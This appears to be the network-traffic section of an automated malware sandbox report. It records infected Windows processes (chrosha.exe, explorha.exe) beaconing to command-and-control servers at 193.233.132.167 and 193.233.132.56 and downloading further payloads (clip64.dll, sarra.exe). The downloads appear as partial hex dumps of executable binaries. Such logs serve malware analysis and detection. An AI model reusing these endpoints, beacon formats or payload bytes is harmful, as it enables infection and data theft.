00 f0 00 22 20 0b 02 0e 18 00 c0 0f 00 00 52 04 00 00 00 00 00 68 06 0d 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 14 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 20 89 12 00 58 00 00 00 78 89 12 00 8c 00 00 00 00 20 14 00 f8 00 00 00 00 60 13 00 28 ad 00 00 00 00 00 00 00 00 00 00 00 30 14 00 f4 15 00 00 b0 9e 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 9f 11 00 08 01 00 00 00 00 00 00 00 00 00 00 00 d0 0f 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 be 0f 00 00 10 00 00 00 c0 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 cd 02 00 00 d0 0f 00 00 ce 02 00 00 c4 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c bb 00 00 00 a0 12 00 00 44 00 00 00 92 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 28 ad 00 00 00 60 13 00 00 ae 00 00 00 d6 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 94 00 00 00 00 10 14 00 00 02 00 00 00 84 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 20 14 00 00 02 00 00 00 86 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f4 15 00 00 00 30 14 00 00 16 00 00 00 88 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$^^^_^_^_2^W_^W_^W_^_^^C^_^_^X^^_^Rich^PEde" RhP` Xx `(0p .text `.rdata@@.dataLD@.pdata(`@@_RDATA@@.rsrc @@.reloc0@B
Apr 18, 2024 23:40:15.555984974 CEST	1289	IN	Data Raw: 00 00 00 00 48 83 ec 28 41 b8 20 00 00 00 48 8d 15 97 6e 11 00 48 8d 0d e0 bb 12 00 e8 d3 20 0c 00 48 8d 0d 0c 85 0f 00 48 83 c4 28 e9 cf f2 0c 00 cc cc cc 48 83 ec 28 41 b8 20 00 00 00 48 8d 15 8f 6e 11 00 48 8d 0d b0 c2 12 00 e8 a3 20 0c 00 48 Data Ascii: H(A HnH HH(H(A HnH HLH(H(AHnHs HH(oH(A H_nHC HH(?H(AHWnH HH(
Apr 18, 2024 23:40:15.556024075 CEST	1289	IN	Data Raw: 83 c4 28 e9 ef ed 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 4f 6c 11 00 48 8d 0d b0 b5 12 00 e8 c3 1b 0c 00 48 8d 0d cc 8b 0f 00 48 83 c4 28 e9 bf ed 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 2f 6c 11 00 48 8d 0d c0 bd 12 Data Ascii: (H(AHOlHHH(H(AH/lHHH(H(A(HlHcHLH(_H(AHlH3HH(/H(AHkHHH(
Apr 18, 2024 23:40:15.556148052 CEST	1289	IN	Data Raw: 8d 0d 4c 92 0f 00 48 83 c4 28 e9 df e8 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 57 69 11 00 48 8d 0d a0 b7 12 00 e8 b3 16 0c 00 48 8d 0d 8c 92 0f 00 48 83 c4 28 e9 af e8 0c 00 cc cc cc 48 83 ec 28 41 b8 04 00 00 00 48 8d 15 37 69 11 Data Ascii: LH(H(AHWiHHH(H(AH7iHHH(H(AHiHSHH(OH(AHhH#HLH(H(AHhH`H
Apr 18, 2024 23:40:15.556190968 CEST	1289	IN	Data Raw: 00 e8 d3 11 0c 00 48 8d 0d 0c 99 0f 00 48 83 c4 28 e9 cf e3 0c 00 cc cc cc 48 83 ec 28 41 b8 34 00 00 00 48 8d 15 cf 67 11 00 48 8d 0d b0 b8 12 00 e8 a3 11 0c 00 48 8d 0d 4c 99 0f 00 48 83 c4 28 e9 9f e3 0c 00 cc cc cc 48 83 ec 28 41 b8 28 00 00 Data Ascii: HH(H(A4HgHHLH(H(A(HgHsHH(oH(AHgHCHH(?H(A4HgHHH(H(A(HgH
Apr 18, 2024 23:40:15.556227922 CEST	1289	IN	Data Raw: c7 80 80 00 00 00 0f 00 00 00 88 50 68 48 89 90 98 00 00 00 48 c7 80 a0 00 00 00 0f 00 00 00 88 90 88 00 00 00 48 89 90 b8 00 00 00 48 c7 80 c0 00 00 00 0f 00 00 00 88 90 a8 00 00 00 48 89 90 d8 00 00 00 48 c7 80 e0 00 00 00 0f 00 00 00 88 90 c8 Data Ascii: PhHHHHHHHHHH H8H@(HXH`HHxHhHHHH
Apr 18, 2024 23:40:15.556267977 CEST	1289	IN	Data Raw: 00 00 0f 00 00 00 88 90 c8 00 00 00 48 89 90 f8 00 00 00 48 c7 80 00 01 00 00 0f 00 00 00 88 90 e8 00 00 00 48 89 90 18 01 00 00 48 c7 80 20 01 00 00 0f 00 00 00 88 90 08 01 00 00 48 89 90 38 01 00 00 48 c7 80 40 01 00 00 0f 00 00 00 88 90 28 01 Data Ascii: HHHH H8H@(HXH`HHxHhHHHHHHHHHH
Apr 18, 2024 23:40:15.556304932 CEST	1289	IN	Data Raw: 00 0f 00 00 00 88 90 28 01 00 00 48 89 90 58 01 00 00 48 c7 80 60 01 00 00 0f 00 00 00 88 90 48 01 00 00 48 89 90 78 01 00 00 48 c7 80 80 01 00 00 0f 00 00 00 88 90 68 01 00 00 48 89 90 98 01 00 00 48 c7 80 a0 01 00 00 0f 00 00 00 88 90 88 01 00 Data Ascii: (HXH`HHxHhHHHHHHHHHH H8H@(HXH`HHxH
Apr 18, 2024 23:40:15.556344032 CEST	1289	IN	Data Raw: 00 48 8d 0d c5 9a 0f 00 e9 b4 cf 0c 00 48 8d 0d 15 9b 0f 00 e9 a8 cf 0c 00 48 8d 0d 49 9b 0f 00 e9 9c cf 0c 00 48 83 ec 28 48 8d 0d 75 b8 12 00 e8 ac dc 0c 00 48 8d 0d 75 9b 0f 00 48 83 c4 28 e9 7c cf 0c 00 b8 01 00 00 00 c3 cc cc cc cc cc cc cc Data Ascii: HHHIH(HuHuH(\|H\$Hl$Ht$ WAVHLTAL5GL@AAt'AB0TB82TuIIEAExAB0TAB0T+uHE3LHuED8t
Apr 18, 2024 23:40:15.556381941 CEST	1289	IN	Data Raw: 8b 57 10 48 8b cb e8 41 b8 06 00 48 8b 3f 48 85 ff 75 ec 48 8b 7e 10 48 85 ff 74 14 48 8b 57 10 48 8b cb e8 74 38 04 00 48 8b 3f 48 85 ff 75 ec 8b 43 28 41 ff c7 48 83 c5 20 44 3b f8 0f 8c 49 ff ff ff 48 8b 6c 24 20 4c 89 b3 20 03 00 00 41 8b fe Data Ascii: WHAH?HuH~HtHWHt8H?HuC(AH D;IHl$ L A~0IHC HL0HtD8qtiuUH ;{(\|HL$(D$0DuH{HL$0H AD$0HtgfDHHE^L9 tHH1-3H;hr"H;psH`
Apr 18, 2024 23:40:15.795891047 CEST	1289	IN	Data Raw: 95 c0 88 46 2b 33 c0 eb 05 b8 01 00 00 00 48 8b 4c 24 78 48 33 cc e8 28 bf 0c 00 4c 8d 9c 24 80 00 00 00 49 8b 5b 20 49 8b 6b 30 49 8b e3 41 5e 5f 5e c3 48 83 ec 08 80 79 2a 00 4c 8b d9 0f 85 2e 01 00 00 80 79 28 00 48 89 1c 24 74 0c 8b 41 08 44 Data Ascii: F+3HL$xH3(L$I[ Ik0IA^_^HyL.y(H$tADIYAAD@ACAAIDOQADAADhAAOiQQDAADAlDiAAAA+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49756	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:15.317799091 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:15.561964989 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:15.562808037 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:15.813853025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49761	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:16.555998087 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:16.798454046 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:16.799669981 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:17.048715115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49762	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:16.820945978 CEST	186	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000056001&unit=246122658369
Apr 18, 2024 23:40:17.067164898 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49764	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:18.474318981 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:18.717300892 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:18.732902050 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:18.980938911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Apr 18, 2024 23:40:19.070524931 CEST	66	OUT	GET /enigma/Plugins/clip64.dll HTTP/1.1 Host: 193.233.132.167
Apr 18, 2024 23:40:19.312743902 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:19 GMT Content-Type: application/octet-stream Content-Length: 112128 Last-Modified: Thu, 01 Feb 2024 16:00:35 GMT Connection: keep-alive ETag: "65bbc023-1b600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 f6 04 b3 63 97 6a e0 63 97 6a e0 63 97 6a e0 38 ff 69 e1 69 97 6a e0 38 ff 6f e1 eb 97 6a e0 38 ff 6e e1 71 97 6a e0 b6 fa 6e e1 6c 97 6a e0 b6 fa 69 e1 72 97 6a e0 b6 fa 6f e1 42 97 6a e0 38 ff 6b e1 64 97 6a e0 63 97 6b e0 02 97 6a e0 f8 f9 63 e1 60 97 6a e0 f8 f9 6a e1 62 97 6a e0 f8 f9 95 e0 62 97 6a e0 f8 f9 68 e1 62 97 6a e0 52 69 63 68 63 97 6a e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 11 bf bb 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 24 01 00 00 9a 00 00 00 00 00 00 ec 66 00 00 00 10 00 00 00 40 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 02 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 20 a1 01 00 9c 00 00 00 bc a1 01 00 50 00 00 00 00 d0 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 d4 14 00 00 f0 8f 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 90 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 36 23 01 00 00 10 00 00 00 24 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 69 00 00 00 40 01 00 00 6a 00 00 00 28 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 1c 17 00 00 00 b0 01 00 00 0c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 d0 01 00 00 02 00 00 00 9e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 14 00 00 00 e0 01 00 00 16 00 00 00 a0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$'cjcjcj8iij8oj8nqjnljirjoBj8kdjckjc`jjbjbjhbjRichcjPELe!$f@@ P8(@@L.text6#$ `.rdata4i@j(@@.data@.rsrc@@.reloc@B
Apr 18, 2024 23:40:19.312782049 CEST	1289	IN	Data Raw: 00 00 6a 20 68 08 8d 01 10 b9 60 b8 01 10 e8 0f 44 00 00 68 e0 2c 01 10 e8 7d 51 00 00 59 c3 cc cc cc 6a 20 68 2c 8d 01 10 b9 78 b8 01 10 e8 ef 43 00 00 68 40 2d 01 10 e8 5d 51 00 00 59 c3 cc cc cc 6a 14 68 50 8d 01 10 b9 90 b8 01 10 e8 cf 43 00 Data Ascii: j h`Dh,}QYj h,xCh@-]QYjhPCh-=QYjhhCh.QYjhCh`.PYjhoCh.PYjhOCh /PYjh/C
Apr 18, 2024 23:40:19.312820911 CEST	1289	IN	Data Raw: ff ff 50 c7 85 9c fb ff ff 0f 00 00 00 c6 85 88 fb ff ff 00 e8 00 3f 00 00 c6 45 fc 06 8d b5 88 fb ff ff 83 bd 9c fb ff ff 10 8b bd 88 fb ff ff 8b 95 e8 fb ff ff 0f 43 f7 8b 85 ec fb ff ff 8b 8d 98 fb ff ff 2b c2 89 b5 b0 fb ff ff 89 95 ac fb ff Data Ascii: P?EC+Q;wCCPs VQTDEr+Hr#+QW9H
Apr 18, 2024 23:40:19.312844992 CEST	1289	IN	Data Raw: a1 50 b9 01 10 41 81 f9 00 10 00 00 72 16 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 ef 00 00 00 8b c2 51 50 e8 f7 43 00 00 83 c4 08 c7 05 60 b9 01 10 00 00 00 00 c7 05 64 b9 01 10 0f 00 00 00 c6 05 50 b9 01 10 00 0f 10 06 0f 11 05 50 b9 01 Data Ascii: PArP#+QPC`dPP~Ff`FFUr(MBrI#+wzRQCEUEEEr(MBrI#+w1RQ;CtuZ
Apr 18, 2024 23:40:19.312884092 CEST	1289	IN	Data Raw: 00 00 c6 06 00 c7 45 fc 00 00 00 00 0f 57 c0 66 0f d6 45 e4 c7 45 ec 00 00 00 00 68 00 04 00 00 c7 45 d0 01 00 00 00 c7 45 e4 00 00 00 00 c7 45 e8 00 00 00 00 c7 45 ec 00 00 00 00 e8 09 3f 00 00 8b f8 b9 00 01 00 00 83 c8 ff 89 7d e4 83 c4 04 8d Data Ascii: EWfEEhEEEE?}UUE3EB@\|E3M3U_9PvxErEt\xFNU;Ns~AFrDuEuQ
Apr 18, 2024 23:40:19.312921047 CEST	1289	IN	Data Raw: 00 00 89 4d cc c6 06 00 bb 01 00 00 00 33 ff 89 5d d0 85 c9 0f 8e e4 00 00 00 0f 1f 40 00 c7 45 e4 00 00 00 00 c7 45 e8 0f 00 00 00 c6 45 d4 00 3b c7 0f 82 14 01 00 00 2b c7 b9 02 00 00 00 3b c1 0f 42 c8 83 7d 1c 10 8d 45 08 0f 43 45 08 51 03 c7 Data Ascii: M3]@EEE;+;B}ECEQMP/]EE}jCEjPvNV];sAFrDuEuQ2EUr(MBrI#+wpRQ(9;}}
Apr 18, 2024 23:40:19.312943935 CEST	1289	IN	Data Raw: 45 fc 00 00 00 00 8d 4d c0 6a 24 68 48 8e 01 10 c7 45 d0 00 00 00 00 c7 45 d4 0f 00 00 00 c6 45 c0 00 e8 ce 2a 00 00 c6 45 fc 01 8b 45 18 85 c0 75 07 33 f6 e9 dc 00 00 00 33 ff 85 c0 0f 84 cd 00 00 00 66 90 c7 45 e8 00 00 00 00 c7 45 ec 0f 00 00 Data Ascii: EMj$hHEEEEEu33fEEE;u+;B}ECEQMPsEEePN(EEP7(E0EUr,MBrI#+
Apr 18, 2024 23:40:19.312982082 CEST	1289	IN	Data Raw: 89 0d 00 00 00 00 59 5f 5e 8b e5 5d c3 e8 ea 68 00 00 cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 20 2b 01 10 64 a1 00 00 00 00 50 83 ec 40 a1 08 b0 01 10 33 c5 89 45 f0 56 50 8d 45 f4 64 a3 00 00 00 00 83 ec 18 c7 45 fc 01 00 00 00 8b cc 89 Data Ascii: Y_^]hUjh +dP@3EVPEdEejhpAA{%EE ePV#EEPD#ME(0EEeP##EjhxAA%Ed0
Apr 18, 2024 23:40:19.313003063 CEST	1289	IN	Data Raw: 10 f3 0f 7e 46 10 66 0f d6 05 90 b9 01 10 c7 46 10 00 00 00 00 c7 46 14 0f 00 00 00 c6 06 00 8b 55 cc 83 fa 10 72 2c 8b 4d b8 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 aa 12 00 00 52 51 e8 a5 2a 00 00 83 c4 Data Ascii: ~FfFFUr,MBrI#+RQ*uEePlEjhAAV E0EEEHE;0+;B}ECEMVP r.ArP
Apr 18, 2024 23:40:19.313040018 CEST	1289	IN	Data Raw: c4 30 c7 45 c8 00 00 00 00 c7 45 cc 0f 00 00 00 c6 45 b8 00 8d 48 ff b8 b0 b9 01 10 39 0d c0 b9 01 10 0f 42 0d c0 b9 01 10 83 3d c4 b9 01 10 10 51 0f 43 05 b0 b9 01 10 8d 4d b8 50 e8 99 1b 00 00 8b 0d c4 b9 01 10 83 f9 10 72 2e a1 b0 b9 01 10 41 Data Ascii: 0EEEH9B=QCMPr.ArP#+wQPu%EU~EMfAA9B=RCPMt\|
Apr 18, 2024 23:40:19.555392981 CEST	1289	IN	Data Raw: fa 10 72 2c 8b 4d b8 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 d4 08 00 00 52 51 e8 b6 20 00 00 83 c4 08 83 ec 18 8b cc 89 65 d4 68 78 b8 01 10 e8 7f 14 00 00 83 ec 18 c6 45 fc 12 8b cc 68 c8 b9 01 10 e8 6c Data Ascii: r,MBrI#+RQ ehxEhlME0t\|r.ArP#+dQP? ~FfFFUr,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49768	193.233.132.167	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:18.946595907 CEST	55	OUT	GET /cost/sarra.exe HTTP/1.1 Host: 193.233.132.167
Apr 18, 2024 23:40:19.192645073 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:19 GMT Content-Type: application/octet-stream Content-Length: 2277888 Last-Modified: Thu, 18 Apr 2024 21:22:36 GMT Connection: keep-alive ETag: "66218f1c-22c200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 9f 1a ea 14 fe 74 b9 14 fe 74 b9 14 fe 74 b9 5f 86 77 b8 1f fe 74 b9 5f 86 71 b8 d4 fe 74 b9 5f 86 73 b8 15 fe 74 b9 d6 7f 89 b9 10 fe 74 b9 d6 7f 70 b8 07 fe 74 b9 d6 7f 77 b8 0e fe 74 b9 d6 7f 71 b8 4f fe 74 b9 5f 86 70 b8 0c fe 74 b9 5f 86 72 b8 15 fe 74 b9 5f 86 75 b8 0f fe 74 b9 14 fe 75 b9 34 ff 74 b9 e7 7c 7d b8 08 fe 74 b9 e7 7c 74 b8 15 fe 74 b9 e7 7c 8b b9 15 fe 74 b9 14 fe e3 b9 15 fe 74 b9 e7 7c 76 b8 15 